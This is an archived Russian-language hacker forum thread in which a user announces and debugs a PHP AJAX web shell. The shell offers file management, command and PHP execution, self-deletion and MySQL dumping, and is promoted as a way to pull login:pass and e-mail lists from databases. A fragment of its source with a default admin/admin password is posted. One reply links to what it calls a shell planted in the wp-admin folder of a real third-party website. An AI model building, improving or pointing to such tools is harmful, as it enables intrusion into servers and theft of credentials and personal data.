PDA

Просмотр полной версии : dx ajax text shell


d_x
14.12.2008, 20:40
DX Ajax Text Shell 2.0 beta
Решил сделать веб-шелл с использованием AJAX.

Доработал 1.0, сейчас готова версия 2.0 (пока что beta), вот её описание:
Возможности:
AJAX, UTF-8
Все запросы методом POST
Файловый менеджер: серфинг по папкам, просмотр дат изменения и прав для файлов и папок, удаление, перемещение, копирование, переименовывание, chmod, touch
Скачивание файлов (<2.0> - поддержка скачивания больших файлов)
Редактирование и сохранение файлов в utf-8 и windows-1251
Подробная информация о системе
Выполнение php-кода
Выполнение команд cmd множеством способов (<2.0> - улучшен вывод результатов, поддержка кириллицы)
<2.0> Защита паролем
<2.0> MySQL - выполнение команд, удобный менеджер команд
<2.0> MySQL дампинг - дамп таблиц или целых БД, поддержка больших объёмов данных, дамп результатов запросов MySQL
Если set_time_limit будет недоступно, дамп всё равно возможен по частям.
Теперь очень удобно сдампить в виде файла, например, список login:pass или список e-mail'ов из какой-нибудь таблицы.
<2.0> Дамп MySQL-таблиц производится без создания каких-либо файлов на сервере - всё напрямую направляется в браузер.
<2.0> Быстрое удаление скрипта
<2.0> Поправлены различные ошибки


Удобство в том, что можно работать с файлами, php, cmd и пр. независимо друг от друга, то есть примерно так - полистать файлы, выполнить пхп-код, вернуться к файлам, в это время результат выполнения php-кода не стирается, и к нему можно всегда вернуться.

c411k
14.12.2008, 21:08
не пашет. локахлост-вынь.

зы. да и кто его юзать будет? если бы р57 под аякс заделать, то гуд..

d_x
14.12.2008, 21:10
Пашет, проверял на удалённых серверах и на локалхосте тоже. Просто шелл если редактировать, то нужно сохранять в UTF-8 без BOM.

xcedz
14.12.2008, 21:12
хз. у меня пашет. на локал хосте. вынь

Chaak
14.12.2008, 21:19
Все круто. Хотел бы видеть sypex или любой другой быстрый дампер mysql

[Raz0r]
16.12.2008, 00:33
На локалхосте под виндой не работало - все дело в обратных слэшах, которые используются в путях и впоследствии попадают в js-код без экранирования, поэтому в начале кода нужно заменить вот на это:
$sdir=addslashes($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['SCRIPT_NAME']));


В Firefox iframe, который выполняет checkUpFiles(), перегораживает часть экрана с директориями (почему-то видимый), поэтому нужно заменить на это (1084 строка)
<iframe id="upiframe" name="upiframe" style="display:none;width:0;height:0" onload="checkUpFiles();"></iframe>

И ко всему прочему баги с кодировкой:
�?мя Права Размер �?зменён

r57shell с AJAX хорошая идея имхо

ShAnKaR
16.12.2008, 01:37
нахожусь в /var/www/html тыкаю все время вверх до хожу до /var тыкаю - переходит опять в /var/www/html, пишу перейти в / - пишет директория не существует

d_x
16.12.2008, 02:06
Спасибо всем за замечания, постараюсь всё исправить, хотя я не понимаю, отчего могут возникнуть такие проблемы, как:
-видимый фрейм в ФФ (сам тестил, у меня всё отлично, версия 3)
-проблемы с кодировкой (опять-таки всё проверял, но ещё посмотрю, отчего такое может быть)

ShAnKaR, такая ошибка действительно есть, поправлю.

[Raz0r], если не сложно, напиши, где ещё баги с кодировкой наблюдаются у тебя, и только в ФФ, или в других браузерах тоже?

[Raz0r]
16.12.2008, 12:28
Баги в Firefox 3.0.4, Opera 9.62, IE7. В файл менеджере первые буквы Имя и Изменен, а также в слове Информация во вкладках Система и MySQL

d_x
16.12.2008, 14:15
Не представляю, почему такие ошибки возникают, у меня во всех браузерах всё нормально. Причём, как я понял, только буква "И" искажается) Может быть, проблема в сервере и утф-8?.. Что, если просто создать текстовый файл в утф-8 без BOM и записать туда букву "И", а потом получить его с помощью сервера?:)

d_x
18.12.2008, 22:30
Доработал версию 1.0, добавил функционал, поправил найденные ошибки.
Обновил первый пост, подробное описание и файл для скачивания там.

[Raz0r]
18.12.2008, 23:18
@d_x
тестить нужно не только на IE ;)
Кстати ошибок с кодировкой больше нет, спасибо

d_x
19.12.2008, 00:16
Опера всегда отличалась нестандартностью, кстати я тестил на ней, правда на более ранней версии, всё норм было. Посмотрю ещё.

ЗЫ. [Raz0r], в кодировке абсолютно ничего не менял)

GreenBear
19.12.2008, 17:12
а ты попробуй упросить ее до strtolower на русских буквах

Chaak
19.12.2008, 17:19
Это:
<?php
$text = 'ЭтО СтРоКа';
echo strtolower($text);
?>
И это:
<?php
$text = 'ЭтО СтРоКа';
echo iconv('windows-1251','utf-8',strtolower($text));
?>
Результат:
это строка

Видео: http://webfile.ru/2491722

[Raz0r]
19.12.2008, 17:30
Опера всегда отличалась нестандартностью
в FireFox 3.0.4 тоже не работает как надо
ЗЫ. [Raz0r], в кодировке абсолютно ничего не менял)
мистика =)

насчет strtolower() в доках сказано:
Returns string with all alphabetic characters converted to lowercase.
Note that 'alphabetic' is determined by the current locale.

Kaimi
19.12.2008, 18:00
setlocale(LC_ALL,"Russian");

Давай пример полного кода, который по-твоему переведет строку на русском в нижний регистр используя strtolower на любом сервере

Kaimi
19.12.2008, 18:14
http://www.topmanshoes.com/wp-admin/1.php

Неа

Вот шелл, можешь посмотреть содержимое файла
http://www.topmanshoes.com/wp-admin/wp-rss.php

[Raz0r]
19.12.2008, 18:31
Русской локали на многих серверах может и не оказаться. Проверить можно так:
locale -a | grep 'ru'
Вообще нужно вот так:
setlocale(LC_ALL, 'ru_RU.CP1251');

echo strtoupper('Работает!');
С koi8-r наоборот почему-то получается: strtoupper() переводит в нижний регистр, а strtolower() в верхний

d_x
19.12.2008, 18:57
На разных системах локали называются по-разному. Я знаю про setlocale, но именно поэтому её и не использовал.

P.S. Кривое отображение в некоторых браузерах поправил, обновил первый пост.

P.S.2. Если эта тема похожа на паблик, пусть модераторы её туда перекинут. Чем больше ошибок найдут в скрипте, тем больше я их исправлю и тем лучше он в итоге станет)

d_x
21.12.2008, 00:01
Попросил перенести тему в общий раздел, чтобы быстрее найти ошибки, если они ещё есть.

astrologer
21.12.2008, 02:16
Опера всегда отличалась нестандартностью, кстати я тестил на ней, правда на более ранней версии, всё норм было. Посмотрю ещё..header
{
font-size:14;
font-weight:bold;
}

fieldset
{
width: 0px; /* =/ */
}
P.S.
---
Насчёт strtolower_ru - есть strtr (http://php.net/strtr)() и mb_strtolower (http://php.net/mb_strtolower)();

d_x
21.12.2008, 02:34
Хм, точно, у меня не тот файл был залит почему-то, сейчас перезалил. Я просто указал фиксированную ширину fieldset'а, чтобы хаки не использовать.

А про strtr забыл, завтра переделаю.

VDShark
22.12.2008, 01:20
Опера всегда отличалась нестандартностью
Кхм... стесняюсь спросить - в каком месте? :)

Helios
22.12.2008, 01:29
Опера всегда отличалась нестандартностью

Бред сивой кобылы. Опера всегда тем и отличалась, что соответствовала стандартам больше всех остальных. Спроси любого верстальщика, он тебе это же скажет.
После появления webkit'а и иже с ним (safari 3, Chrome) первенство в соответсятвии стандартам держат опера и webkit, мб оттого, что вебкит опенсурсный зверь и кодерами именно для этих целей допиливается.
А вот ФФ, как не прискорбно все дальше уходит в степь IE. Его поведение в какой-то конкретный момент угадать трудно.

// зы: ссори за оффтоп

d_x
22.12.2008, 01:44
Давайте не будем разводить старый срач, какой браузер лучше, и уж тем более не надо оскорблений. В любом случае всё, что я пишу, моё личное мнение и других никоим образом не затрагивает. Это лично мне так показалось. Считайте, что я это написал для себя, чтобы не забыть поправить код. Скрипты я тестирую на трёх браузерах - ие, фф и опера - и они будут там работать, я же не говорю, что "не буду делать под какой-то браузер, он мне не нравится".

world-hacker
21.01.2009, 03:59
Спс огромное! Шел очень сильно помог, было бы неплохо добавить перемещение - ввел адресс к примеру / и переместился в корневую дерикторию.

ReduKToR
21.01.2009, 09:06
<?php
@set_time_limit(0);
@ini_set('max_execution_time',0);

$ver='2.0 beta';

$auth=true; //включить ли защиту паролем
$username=md5('admin'); //логин
$userpass=md5('admin'); //пасс

if($auth)
{
if(!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$username || md5($_SERVER['PHP_AUTH_PW'])!==$userpass)
{
header('WWW-Authenticate: Basic realm="ATS"');
header('HTTP/1.0 401 Unauthorized');
die('Access denied');
}
}


if(isset($_POST['delscript']))
{
if(@unlink(__FILE__))
ajax_die("alert('РЎРєСЂРёРїС‚ СѓСЃРїРµС?РЅРѕ удалён.');");
else
ajax_die("alert('Не удалось удалить скрипт.');");

ппц,пробывал ставыить разные кодировки,всёравно

baddan
12.03.2009, 16:14
ппц,пробывал ставыить разные кодировки,всёравно
utf-8 обычный, открой в виндовом notepad и все увидиш

или far 2.0 поставь.

Хороший шел, мне понравилось.

Добавте возможность:
гденибудь рядом с папкой кноповку создать архив. средствами пхп можно gz жать без проблем.

а то набирать tar -cf && bzip2 -9 часто бывает не возможным :)


и по цветам.. сделайте фон черным а то работать за таким даже пол часа тяжеловато.

Dr.Gonzo
15.05.2009, 16:10
Почему-то на некоторых хостингах нормально идет, а на некоторых вместо текста показывает:
Файлы | Система | Выполнить PHP
Иногда вообще не грузится,
тогда если убрать авторизацию будет грузиться но опять же с иероглифами и ошибкой:
пишет что-то типа Headers already sent....
Видать что-то с кодировкой, не могу понять что

Sharky
15.05.2009, 16:28
utf-8 BOM а да пребудет с вами сила скрытая